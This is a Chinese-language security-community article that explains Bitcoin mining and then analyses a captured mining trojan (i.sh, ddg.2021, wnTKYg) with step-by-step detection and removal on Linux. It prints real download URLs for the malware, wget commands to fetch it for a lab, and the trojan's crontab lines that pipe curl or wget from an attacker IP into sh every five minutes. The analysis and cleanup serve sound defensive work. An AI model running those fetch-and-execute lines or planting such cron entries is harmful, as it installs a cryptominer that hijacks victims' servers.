對比特幣挖礦木馬分析研究和清除
本文作者:simeon
來源:i春秋社區
一、什麽是比特幣系統
有關比特幣的專業知識講解的內容資料很多,我這裏只是簡單通俗的記錄下個人的學習和對他的理解。大家往往看到比特幣首先想問的它到底是什麽,是不是錢。可以肯定的回答大家,他是錢,但是他不只是個體,他其實是一個虛擬的電子貨幣支付系統,是的是一個系統。
所以我這裏說了這麽多的廢話,就是希望大家以後看到比特幣,我們不是把它看成是一個硬幣,而是我們一看到比特幣,我就立馬想到的是它其實是一個系統(電子幣虛擬支付系統)。只要大家能這樣想,後面講的內容大家就好理解了。
大家如果想要比較清晰的了解什麽是比特幣,我們就必須知道比特幣其實是一套系統,他不是體,他是由各個“關鍵的基礎點”共同在一定協議技術之上“運行的貨幣支付系統”。那麽筆者接下來會分兩步,給大家進行簡單知識點的普濟,即比特幣系統的“關鍵基礎構成”與其“比特幣運行機制”。
1.1 比特幣系統關鍵構成
首先給大家貼出介紹比特幣系統的一張圖,大家簡單的看下。這一張圖片展示的就是一個完整的比特幣系統有哪些內容構成,那麽我們從這張圖中我們可以看到什麽呢?
通過前面個人的學習,我簡單的概括出以下幾個關鍵點:
· 用戶
系統中各個外圍的使用者,如學生、老師、雇員以及其他等待使用者;
· 曠工
為整個系統的運行提供支撐的人員和基礎設施,其實際構成就是由人、計算機、電力系統、校驗認證等等共同構成;
· Blockchain(區塊鏈)
看到Blokcchain,第一次聽到這個詞的人可能會一頭霧水,其實大家無需迷茫,我給大家簡單的打個比喻,大家就明白了。這個區塊鏈其實就是整個比特幣系統運行的底層協議,就像我們的互聯網底層協議TCP/IP一樣。如果大家還不明白,那說的再簡單點,大家就把他理解為一個“記賬本”就OK,他就是來負責整個比特幣系統中進行記賬的載體。
那麽前面廢話說了這麽多,到什麽是比特幣呢?請各位親們往下看,下面我們會從比特幣的比特幣支持過程與比特幣發行過程兩個方面帶大家一起認識下比特幣。
1.2 比特幣系統運行過程
個人對於比特的運行過程進行了簡單的概括,一是比特幣系統的“支付過程”,二就是“貨幣發行過程”。大家如果弄明白了這兩個過程基本就了解了比特幣系統是什麽了,也就理解什麽是比特幣了。
1.2.1 貨幣支付過程
1.2.1.1 關鍵詞
在說明比特幣的支付過程之前,大家先帶大家看幾個關鍵詞:P2P、去中心化與終端用戶
· P2P
我們稱他為點對點(即個人對個人);
· 去中心化
這個很字面了,不難理解,即沒有中心,大家都是個體對個體的;
· 終端用戶
用戶就是使用者,就不用解釋了吧。
OK!我們了解了上面三個關鍵詞後,我們就來看下比特幣定義。
比特幣定義:它是一種去中心化的,基於區塊鏈網絡技術的,P2P電子支付技術系統。聽起來是不是還是很含糊,OK,那麽說的再簡單點,就是比特幣是一個P2P(點到點)的電子支付系統。
1.2.1.2 P2P支付過程
通過上面的定義,你可能還是不太了解其運行過程,那麽我們舉一個生活中的例子來給大家簡單說明。
場景舉例:A 向 B 支付100元,在 “中心支付模式” 和 “點對點支付模式 ”,他們各自是如何完成支付的呢。
· (1)中心支付模式
我們知道在現實生活中我們的貨幣支付系統的支付過程是這樣的,當A支付出100元後,銀行會在A的賬戶中減去100元,同時在B的賬戶中增加一筆100元的記錄。也就是整個交易支付過程都是由銀行在中間進行處理與記錄的,銀行是整個支付系統的中心系統,他有一本所有人的總賬本,這中心賬本記錄所有的交易與支付記錄。
2)P2P支付模式
而比特幣網絡這種點對點支付系統就不同了,當A給B支付了100元後,不需要經過任何中心支付系統進行結算和記錄,完全由這個A和B各自去記錄完成,同時通告給P2P網絡中的所有人,然後比特幣網絡中的每個終端成員都會更新自己的賬本記錄下A與B之間的支付賬單。也就是說P2P支付系統模式中,每個終端個體都有跟賬本,且每個人的賬本記錄內容都是同步更新的。;
· 過程理解
比特幣系統就是一個基於“終端賬本記錄”技術的點到點的,去中心化的,電子貨幣支付系統。而終端“賬本記錄技術的實現”,其是通過前面說的“區塊鏈”技術來實現的;
· 支付模式小結
o 所謂“P2P支付模式”:就是每個終端個體都一個一模一樣的賬本;
o 所謂“中心支付模式”,就是只有一個中心節點有一個賬本,就這麽簡單;
說了這麽多,大家不知道是不是已經理解了比特幣的支付模式了呢,是的沒錯所謂比特幣的P2P支付模式,就是每個人都一個賬本,所有的支付結算過程結果都由每個人自己的賬本記錄進行更新記錄,當然每個人的賬本記錄都是一樣的內容,至於怎麽實現,請各位親繼續往後看。
1.2.2 貨幣發行過程
前面講了那麽多比特幣的支付過程,那一個非常重要的問題來了,請問這些比特幣系統中每個人的比特幣是哪裏來的,即貨幣到底是誰發行的呢? 這個問說如果大家搞清楚了,各位親也就能理解我經常聽到或遇到的“挖礦惡意程序”的到底是個什麽玩意了。
1.2.2.1 關鍵詞
統一在為各位親說明貨幣發現過程之前,先帶大家看幾個關鍵詞或者說是關鍵點,即區塊鏈、曠工以及比特幣獎勵
· 區塊鏈
其實有區塊鏈前面我已經簡單的說過,區塊鏈接簡單的理解就是一個記賬本;但是這裏我們需要更詳細的說明下區塊鏈,我現在把區塊鏈分為兩個部分來理解:即區塊 和 鏈。一個區塊鏈其實他記錄從最原始的賬單交易到現在此時此刻的交易內容,它由區塊和鏈共同兩部分共同構成。在比特幣系統中每10分鐘生成一個新的區塊,這10分鐘生成的區塊它會記錄最近10分鐘網絡中生成的信息支付交易記錄,然後通過鏈連接到原始的區塊鏈上形成更新後的新的區塊鏈,並通告全網進行公共賬單的更新。
· 比特幣獎勵
這個就是字面意思,就是進行某個客體的比特幣獎勵。
· 曠工
是指通過一種特別的軟件不斷重復哈希運算(hash碰撞)來產生工作量的各個網絡終端節點。礦工們需要競爭完成一種基於加密哈希算法的數學難題,數學題的答案存在於新的區塊中,誰優先解出這個答案,誰就能在p2p網絡中廣播聲明自己已經獲得這個區塊,其他的曠工就會意識到在這局裏已經輸了,就會立馬開始下一個區塊的挖掘工作。每個礦工在他的區塊中都有一筆特殊的交易,他們會將新生成的比特幣作為報酬,然後支付到自己的比特幣地址中。一旦這個區塊被認可被驗證,也就是被添加到區塊鏈中,他的這筆報酬就可以變為可用可消費的狀態。
1.2.2.2 比特貨幣發行
通過前面比特幣網絡的學習,我們知道比特幣其實一個P2P的網絡,這也表示網絡中的每一個人都當擔這比特幣系統的一小部分,但是一個主要的問題出了比特幣來時哪裏呢?
· (1)法幣發行機制
我們都知道就現實生活中的法幣來說,政府能夠決定何時發行新的鈔票,但是比特幣並沒有中央政府。
· (2)比特幣發行機制
在比特幣的系統中,曠工們用一種特別的軟件來解決數學難題,作為工作量的回報,款共可以獲取取比特幣系統新生成的特定數量的比特幣,這種機制就是比特幣系統提供的一種發行貨幣的創新方式,同時也提供人們參與挖礦的動機。
· (3)貨幣發行實際場景解析
大家如果看了上面的解釋還不清楚,筆者結合前面區塊鏈的內容再結合實際場景的給親們解釋下。
我們通過前面學習知道,比特幣網絡中每10分鐘會生成一個新的區塊,這個新生成的區塊其會包含多個內容。
第一個內容:就是最近這10分鐘產生的所有比特幣支付交易記錄;
第二個內容:是區塊鎖(即簽名或者說前面說的數學難題的答案);
第三個內容:就是即將新發行的比特幣(獎勵給第一個算出數學難題的曠工)。
現在我們把這三個內容聯系起來,我們知道比特幣P2P網絡中每個人都一本賬本,那是不是意味著每個都可能去篡改自己的賬本呢,是的存在這個可能,所以比特幣網絡設計了區塊鏈的技術來防止這個情況的出現,那麽每個人手中的賬本如何可靠安全的更新呢?
好的,我們現在重回到區塊鏈技術,我們知道比特幣網絡每10分鐘生成一個區塊,通俗點就是一個當前10分鐘網絡中所有交易的賬本記錄,為防止有人惡意篡改,區塊鏈被加了簽名(即一把鎖/答案)防止被惡意篡改,比特幣網絡中第一個破解了這個簽名的人,即可以新的區塊加到原始的區塊鏈上去;我們知道誰也不可能義務勞動,所以在被更新的區塊中還包了對第一個破解人的比特幣獎勵的更新賬單記錄;這個獎勵的比特幣方式就是發行新比特幣的方法和過程了。
二、惡意挖礦程序的由來
我們現在了解到曠工是整個比特幣系統運行的底層基礎運算保障,也是整個區塊鏈技術的核心部分,比特幣系統運行機制中為了保障整個比特幣的系統有效運行和吸引更多的個體投入到系統中來,設立對曠工工作的獎勵機制即通過衡量他們的運算貢獻給以比特幣的獎勵。也因此現實社會中有了更多的人願意將個人的計算機運算能力提供給比特幣的網絡系統,隨著比特幣的價值提升,更多的人有組織、有體系的,合法甚至不合法的去給比特幣系統網絡提供運算支持,其基本發展歷程如下。
2.1 礦工與貨幣發行回顧
在將惡意挖礦程序由來之前,我們需要回顧下什麽是礦工、挖礦獎勵機制、比特幣的發行。
我現在都知道在比特幣系統中,礦工們是用一種特別的軟件來解決數學難題,來作為交換比特幣系統生成的特定數量的比特幣,而這種機制提供了一種發行貨幣的創新方式,同時也創造了人們參與挖礦的動機。由於比特幣網絡的交易需要礦工來進行驗證,更過礦工的參與也意味著更安全的比特幣網絡,但同時隨著礦工越來越多,比特幣系統也會自動會自動改變這些數學題目的難度,而難度的變化的速度,通常又取決於解題的速度。
2.2 挖礦的歷史歷程介紹
2.2.1 一般CPU計算的時代
最早期的礦工們都是使用個人使用計算的CPU進行為挖礦,這是最原始的挖礦;
2.2.2 顯卡的時代
不久之後,礦工們發現使用顯卡更適合於挖礦工作,顯卡速度雖然快;但是顯卡萬科也有其自身的缺陷,就是需要消耗更多的電力,溫度也會過高;人們發現挖礦的成本增大了;
2.2.3 ASIC 芯片時代
隨後挖礦利益的驅動,出現專業更專業的挖礦產品,為挖礦提供專業的編程芯片,這種挖礦機雖然加快了挖礦速度,但仍然需要消耗大量的電力;
ASIC 芯片的挖礦時代就應用而生了,特定的ASIC技術通過更少的消耗電量讓比特幣挖礦更快;
2.2.4 礦場與礦池的時代
· (1)礦場的誕生
隨著ASIC芯片專業技術的出現,挖礦的難度也增大了,為了獲取更大的利益,出現了大量的投資人投資建立機房的運行模式,大批量的投資建設機房的模式來進行挖礦,這種以款場的模式就出現了。這類礦廠在今年之前,中國的系統占據了整個比特幣網絡的半壁江山,因為中國的系統有著大量的廉價電力可以被提供來進行挖礦;
· (2)礦池的誕生
隨著比特幣的日益流行,越來越多的人加入挖礦這個行列,使得挖礦的難度也不斷的提升,為了克服這個問題,礦工們開發出了“礦池”的挖礦方式,礦池結合了所有個人的計算能力,讓更多的個人也還可以加入到挖礦的行列中來了,這種模式為更快的找到難題的也提供了一種解決方案,而每個參與的礦工依據他們為礦池提供的工作量的比例分配礦池中的收益。
2.3 挖礦惡意程序總結
上面鋪墊說了這麽了多,相信大家看到礦池的出現時,就都明白了“挖礦惡意程序”的由來了。是的,沒錯了,挖礦惡意程序其實就是礦池模式中礦池的一員,正常礦池中的成員都是自願加入礦池中,為礦池提供計算能力,然後依據自己的計算貢獻能力,從礦池的收益中來獲取自己的分配所得。但是惡意程序是在未授權的情況下向你的服務器惡意植入的一個程序,並盜用了你個人計算機的計算能力來為Hacker掙錢的行為。
這就是我們經常說挖礦事件的真實面目了,說了這麽多不知道大家是否明白了,嘴巴都說幹了。
三、本地實驗環境搭建
以上說了這麽多都在跟大家一起去學習和了解下比特幣是什麽、挖礦是什麽、惡意挖礦程序又是怎麽由來的,詳細此時大家應該都或多或少有了一點的了解了,那麽接下來就是我們看看安全當中惡意挖礦程序是如何運行,我們如果不幸中招了如何快速做出響應和處理。
3.1 挖礦惡意程序分析
3.1.1 挖礦惡意腳本程序
本次試驗環境中使用的挖礦惡意程序主要基於實際環境中捕獲的惡意程序進行分析後總結後從網絡中直接獲取的,涉及的程序包含“1個shell腳本”和“2個可執行程序”,具體名稱如下(未做任何改動)。
· i.sh shell腳本
· dgg2020 惡意程序 (分為x86 x64)
· wnTKYg 惡意程序
3.1.2 挖礦惡意程序詳解
3.1.2.1 i.sh shell 腳本
腳本下載地址: http://218.248.40.228:8443/i.sh
i.sh 通過以上腳本內容分析,我們可以清晰的看到i.sh就是一個shell腳本,他主要功能我們通過分析可以知道,其主要負責完成以下兩件事情。
第一個任務:每五分鐘下載一次i.sh腳本,並執行,目的應該就是為了循環執行以達到一個守護的目的;
第二個任務:依據當前系統的架構,下載相對於的ddg程序,並授予可執行權限然後運行。
3.1.2.2 dgg.xxxx 可執行程序
· (1)版本分析
通過上面的i.sh腳本,我們可以看到dgg.2021的下載地址,分析的過程中我們可以知道程序設計考慮還很周全,分為了x86 與 x86_64兩個不同架構的版本。
在分析的過程中還發現這個ddg.xxx這個程序的版本有2020與2021兩個版本,其實在我寫這篇文檔時,進行環境復現時版本已經升級到2021版本了,更新還挺頻繁的,其實還遠不止這兩個版本。
· (2)功能分析
通過實際環境分析,發下dgg.xxxx這個程序的主要功能就是下載wnTKYg並運行他,同時其還是wnTKYg的守護者,當我們刪除wnTKYg是,如果未能刪除dgg.xxxx,那麽很快wnTKYg還會再次復活。
3.1.2.3 wnTKYg 可執行程序
wnTKYg這個程序直接讀取是無法看到其內部內容的,個人能有限,也無法做到具體內容的分析,如果哪位大神有這個閑情,請帶我飛。這裏我僅從其運行的特性來分析下其主要功能。
這裏放出一張直接手動運行wnTKYg程序後的截圖,通過上面這張圖我們其實可以很直接看到三個關鍵字“miner”、“Pool”、“block”,是不是我們第一個章節中廢話說了那麽多,就這個三個詞能,是的“礦工”、“礦池”、還有就是“區塊鏈技術”。所以,這裏不言而喻這個wnTKYg就是挖礦的主程序了,就是負責給比特幣網絡提供底層運算的勞工了。
3.2 環境搭建
3.2.1 下載惡意代碼程序
1. # wget http://218.248.40.228:8443/i.sh
2. # wget http://218.248.40.228:8443/2021/$(uname -m)
3. # wget http://218.248.40.228:8443/wnTKYg
3.2.2 運行腳本搭建環境
3.2.2.1 運行失敗小插曲
我第一次搭建環境的時候使用的是個人的PC來搭建的運行環境,運行的過程中發現,下載的惡意wnTKYg程序主動運行時進行報錯,告訴我的CPU 沒有AES-IN。
查詢發現這個AES-IN,代表的是Advance Encryption Standard New Instructions;AES-IN 高級加密標準新指令集,這也就意味著你的CPU如果不支持 AES-IN,還不配有挖礦的資格,想成為肉雞都不配,我只能笑著說,是我太LOW,我太小白了,我不懂…(其實心中千萬個cao ni ma 奔馳而過…)
接著通過以下命令檢查了下我的CPU是否真的不支持AES-IN。
1. # cat /proc/cpuinfo |grep aes
原來我的臺式機真的不支持AES-IN這個高級指令集,隨後我看了下我的最新的筆記本,OK,還算幸運竟然支持,隨後將CentOS7的環境移植到了我的筆記本中,繼續進行試驗。
3.3.2.2 更換環境運行成功
重新找了一臺新的環境,在驗證了服務的CPU支持AES-IN指令集的情況下,重新安裝捕獲的惡意程序運行腳本,運行一切OK。
註意事項
環境腳本運行的時候要註意,就是先下載i.sh,然後直接運行等待一段時間即可。(主要是由於運行i.sh文件後,他需要去下載ddg.2021主程序,這個程序相對較大而且還在國外)待ddg.2021程序運行正常後,隨後它就會去下載wnTKYg這個程序計算程序,他也運行成長,環境就搭建成功了。
如果你發現你等待了很久都環境都沒搭建成功,可以嘗試清除一下計劃任務表,因為計劃任務表會循環下載ddg.2021文件,可能會影響ddg.2021的正常運行。
四、挖礦惡意程序處理流程
4.1 異常問題定位
4.1.1 異常進程排查
(1)top 排查
使用top命令直接動態排查可能異常進程,配合 -c可以直接查找到異常進程的物理位置。
1. # top -c
(2)ps -ef 排查
1. # ps -ef |grep wnTKYg
2. # ps -ef |grep ddg.2021
(3) 疑似進程定位
1. [root@localhost ~]# find / -name wnTKYg*
2. /tmp/wnTKYg
3. [root@localhost ~]#
4.1.2 異常會話排查
(1) # netstat -pantul |grep ESTAB
查詢會話建立情況,查看是否有異常會話連接。
1. [root@MiWiFi-R3-srv tmp]# netstat -pantul |grep ESTAB
2. tcp 0 0 192.168.31.9:22 192.168.31.75:3898 ESTABLISHED 3742/sshd
3. tcp 0 0 192.168.31.9:56842 163.172.226.120:443 ESTABLISHED 7263/wnTKYg
4. tcp 0 0 192.168.31.9:22 192.168.31.75:3953 ESTABLISHED 3795/sshd
5. tcp 0 0 192.168.31.9:35286 104.131.231.181:8443 ESTABLISHED 7193/ddg.2021
6. tcp 0 0 192.168.31.9:55200 218.248.40.228:8443 ESTABLISHED 6339/curl
7. [root@MiWiFi-R3-srv tmp]#
4.1.3 計劃任務排查
(1) # crontab -l
查詢當前計劃任務中是否存在異常未知的任務被添加。
1. [root@localhost ~]# crontab -l
2. */5 * * * * curl -fsSL http://218.248.40.228:8443/i.sh | sh
3. */5 * * * * wget -q -O- http://218.248.40.228:8443/i.sh | sh
4. You have new mail in /var/spool/mail/root
(2) 直接查詢用戶任務配置文件
1. [root@MiWiFi-R3-srv ~]# tree /var/spool/cron/
2. /var/spool/cron/
3. ├── crontabs
4. │ └── root
5. └── root
6.
7. 1 directory, 2 files
8. [root@MiWiFi-R3-srv ~]# cat /var/spool/cron/root
9. */5 * * * * curl -fsSL http://218.248.40.228:8443/i.sh | sh
10. */5 * * * * wget -q -O- http://218.248.40.228:8443/i.sh | sh
11. [root@MiWiFi-R3-srv ~]# cat /var/spool/cron/crontabs/root
12. */5 * * * * curl -fsSL http://218.248.40.228:8443/i.sh | sh
13. */5 * * * * wget -q -O- http://218.248.40.228:8443/i.sh | sh
14. [root@MiWiFi-R3-srv ~]#
4.1.4 惡意程序確認
如果此時你還不確認當前程序是否是惡意程序,可以直接將定位到的疑似惡意程序進行md5 hash後進行校驗比對進行確認。
md5校驗網站:https://www.virustotal.com/#search
(1) 進行疑似文件的md5sum 哈希
1. [root@MiWiFi-R3-srv tmp]# md5sum wnTKYg
2. d3b1700a413924743caab1460129396b wnTKYg
3. [root@MiWiFi-R3-srv tmp]#
(2) 進行MD5哈希疑似病毒校驗比對
直接將疑似文件wnTKYg的md5哈希值復制到病毒校驗網站https://www.virustotal.com/#search進行查詢比對。通過比對結果,我們可以清晰的看到wnTKYg為惡意程序。
4.2 挖礦惡意程序處理方式
4.2.1 直接清理惡意程序
(1)清除計劃任務
首先第一步需要先刪除計劃任務,因為計劃任務會每5分鐘循環下載惡意程序並授權執行;
· 方法一
直接使用crontab命令配合參考 -r 直接情況crontab列表中的任務,使用前請確認任務列表中任何生產相關的計劃任務。
1. # crontab -r # 直接使用此命令即可上次當前用戶的計劃任務
2. #
3. # crontab -l # 直接查詢當前用戶是否還存在計劃任務
4. no crontab for root
· 方法二
在確認計劃可能還存在其他正常業務需要的時候,我可以直接編輯計劃任務的配置文件,刪除我們看到惡意寫入的計劃任務內容。
1. # vi /var/spool/cron/root
2. #
3. # /var/spool/cron/crontabs/root
分別編輯以上兩個root配置文件,刪除惡意計劃任務內容,即可。
1. */5 * * * * curl -fsSL http://218.248.40.228:8443/i.sh | sh
2. */5 * * * * wget -q -O- http://218.248.40.228:8443/i.sh | sh
3. ~
4. ~
5. ~
(2) 殺死惡意進程
第二步就殺死相關的惡意運行行為的程序,除了wnTKYg與ddg.2021以為,當前若存在curl程序,也應該將其殺死。
· 方法一:直接殺死程序
1. # pkill wnTKYg
2. # pkill dgg.2021
3. # pill curl
· 方法二:殺死惡意程序進程號
註:方法二往往都是在方法一不好使的時候強制來使用的。
1. # ps -ef |grep wnTKYg # 查詢惡意程序的ps進程號
2. # kill -9 PID
3.
4. ## ps -ef |grep ddg.2021 # 查詢惡意程序的ps進程號
5. # kill -9 PID
6.
7. ## ps -ef |grep curl # 查詢惡意程序的ps進程號
8. # kill -9 PID
(3) 清除惡意程序
清理過程的最後一步才是進行相關惡意程序的刪除操作。
1. # rm -rf /tmp/wnTKYg
2. # rm -rf /tmp/ddg.2021
3. # rm -rf /tmp/i.sh
4.2.2 禁止服務主動訪問互聯網
禁止服務主動訪問互聯網的方法是我們快速處理挖礦惡意程序對服務器影響的最快,最有效的方法,也是一勞永逸的,當然有外面的人是怎麽進來的,不是我們這裏主題,這裏不做過多的說明。接下來就詳細的記錄與分析下我們為什麽這麽做,怎麽做。
4.2.2.1 問題分析
· (1) wnTKYg 分析
通過對挖礦程序的運行機制我可以知道,礦工(miner)即惡意程序wnTKY的主要運行機制就是為比特幣網絡提供底層的運算的能力,即需要主動去鏈接外網,如果此時我限制服務器主機主動訪問網絡的話,是不是就可以限制wnTKY的運行能。有過對挖礦惡意程序處理經驗的小夥伴都知道,其實挖礦惡意程序唯一做的事情就是在你為授權的情況利用你服務主機的運算能力為黑客搭建的礦池提供計算能力,幫他掙錢。一旦我們的服務不能主動訪問互聯網了,其實對於這裏黑客就沒有意義了,因為此時我們的服務就無法將計算的結果提交給礦池了,也無法同步與下載計算任務了。
· (2) i.sh 與ddg.2021分析
通過前面的分析學習,我們知道ddg.2021程序是主程序也是wnTKYg的守護進程,其是由i.sh下載下來並執行的,所以對於i.sh與ddg.2021的下載,我們也要禁止掉。
4.2.2.2 如何下發網絡訪問控制
其實禁止主機主動訪問互聯的方法有很多,比如可以通過網絡中的防火墻禁止服務主動連接互聯;或者在做內網返現代理時,就不代理內網服務器都可以實現我們的目標。
不過我這裏只說明了怎麽利用我們的Linux服務器只帶的防火墻iptables來下發訪問控制,禁止服務主動連接互聯網。
· (1) 檢查惡意程序外網互聯地址
第一步就是通過會話監控命令,監控查詢惡意程序 wnTKYg、ddg.2021、curl下載的外網互聯地址;
1. [root@MiWiFi-R3-srv tmp]# netstat -pantul |grep ESTAB
2. tcp 0 0 192.168.31.9:22 192.168.31.75:3898 ESTABLISHED 3742/sshd
3. tcp 0 0 192.168.31.9:56842 163.172.226.120:443 ESTABLISHED 7263/wnTKYg
4. tcp 0 0 192.168.31.9:22 192.168.31.75:3953 ESTABLISHED 3795/sshd
5. tcp 0 0 192.168.31.9:35286 104.131.231.181:8443 ESTABLISHED 7193/ddg.2021
6. tcp 0 0 192.168.31.9:55200 218.248.40.228:8443 ESTABLISHED 6339/curl
· (2) 下發外網訪問控制策略
依據查詢出的外網互聯地址,直接下發訪問控制策略,禁止服務訪問這些網絡地址。
1.
2. [root@MiWiFi-R3-srv tmp]# iptables -A OUTPUT -d 163.172.226.120 -j DROP
3. [root@MiWiFi-R3-srv tmp]# iptables -A OUTPUT -d 104.131.231.181 -j DROP
4. [root@MiWiFi-R3-srv tmp]# iptables -A OUTPUT -d 218.248.40.228 -j DROP
5. [root@MiWiFi-R3-srv tmp]#
4.3 找到入侵的源頭
以上所有說的這麽多都是與大家一起了解下挖礦的惡意程序是怎麽運行的,在我們的服務器到底做了些什麽,我應該如何應對這個惡意程序,當然也可以為其他惡意程序的問題定位與處理提供借鑒與參考。
但是,歸根結底問題還是出在我們的服務上,我們的服務可能存在漏洞被人惡意利用了,服務被入侵,我們必須找到入侵的根源才能確保服務的安全。
有關服務器入侵根源的查找的方法,這裏不做展開說明了,簡單記錄下基本思路。
· (1)查找當前服務器日誌,收集可能入侵的痕跡,確認入侵的根源;
· (2)針對服務器應用和主機層面進行自查與安全掃描,確認服務器本身是否存在大的漏洞
· (3)在確認或疑似漏洞被確認後,迅速的安排進行加固修復,
· (4)建議最好對關鍵數據進行備份,重新部署系統與應用,並進行相應的安全配置,修復存在的安全漏洞,重新上線。
五、挖礦事件應急處理總結
5.1 確認挖礦事件
5.1.1 異常進程排查
1. # 進程動態快速定位,使用 top -c可快速定位異常經常的物理位置,查詢異常進程。
2. # top -c
1. # ps -ef 排查
2. # ps -ef |grep wnTKYg
3. # ps -ef |grep ddg.2021
1. # 疑似進程定位
2. [root@localhost ~]# find / -name wnTKYg*
3. /tmp/wnTKYg
4. [root@localhost ~]#
5.1.2 異常會話排查
1. # 查詢會話建立情況,查看是否有異常會話連接。
2. # netstat -pantul |grep ESTAB
5.1.3 計劃任務查詢
1. [root@localhost ~]# crontab -l
2. */5 * * * * curl -fsSL http://218.248.40.228:8443/i.sh | sh
3. */5 * * * * wget -q -O- http://218.248.40.228:8443/i.sh | sh
4. You have new mail in /var/spool/mail/root
5.1.4 異常病毒校驗
第一步:使用md5sum 命令進行疑似文件哈希
1. # md5sum wnTKYg
2. d3b1700a413924743caab1460129396b wnTKYg
第二步:進行疑似病毒MD5哈希值的校驗比對
直接將疑似文件wnTKYg的md5哈希值復制到病毒校驗網站https://www.virustotal.com/#search進行查詢比對。通過比對結果,我們可以確認疑似文件是否是惡意程序。
5.2 處理惡意程序
5.2.1 清除計劃任務
1. # crontab -r # 直接使用此命令即可上次當前用戶的計劃任務
2. #
3. # crontab -l # 直接查詢當前用戶是否還存在計劃任務
4. no crontab for root
5.2.2 殺死惡意進程
1. # pkill wnTKYg
2. # pkill dgg.2021
3. # pill curl
5.2.3 清除惡意進程
1. # rm -rf /tmp/wnTKYg
2. # rm -rf /tmp/ddg.2021
3. # rm -rf /tmp/i.sh
5.2.4 下發訪問控制策略
下發訪問控制策略,禁止服務互聯三個惡意程序外聯的外網地址。
1. # 查詢惡意進程外網互聯地址
2. #
3. # netstat -pantul |grep ESTAB
4. tcp 0 0 192.168.31.9:22 192.168.31.75:3898 ESTABLISHED 3742/sshd
5. tcp 0 0 192.168.31.9:56842 163.172.226.120:443 ESTABLISHED 7263/wnTKYg
6. tcp 0 0 192.168.31.9:22 192.168.31.75:3953 ESTABLISHED 3795/sshd
7. tcp 0 0 192.168.31.9:35286 104.131.231.181:8443 ESTABLISHED 7193/ddg.2021
8. tcp 0 0 192.168.31.9:55200 218.248.40.228:8443 ESTABLISHED 6339/curl
9.
10. # 下發放控制策略,禁止服務的外網互聯
11. #
12. # iptables -A OUTPUT -d 163.172.226.120 -j DROP
13. # iptables -A OUTPUT -d 104.131.231.181 -j DROP
14. # iptables -A OUTPUT -d 218.248.40.228 -j DROP
學習參考
· (1)比特幣概念介紹
https://mp.weixin.qq.com/s?__biz=MzI1MTkwNjg5Mw==&mid=2247483744&idx=1&sn=4e4db07b5b4bd4a70d0470a82730ebac&scene=21#wechat_redirect
· (2)視頻講解
[url=https://www.youtube.com/watch?v=N35nul3srWk]https://www.youtube.com/watch?v=N35nul3srWk[/url]
https://www.youtube.com/watch?v=vqSautdQEoI
· (3)木馬清除
http://friendlysong.blog.163.com/blog/static/32252439201722932034657/
· (4) tcpdump 詳解
http://roclinux.cn/?p=2474
>>>>>>黑客入門必備技能 帶你入坑,和逗比表哥們一起聊聊黑客的事兒,他們說高精尖的技術比農藥都好玩!
對比特幣挖礦木馬分析研究和清除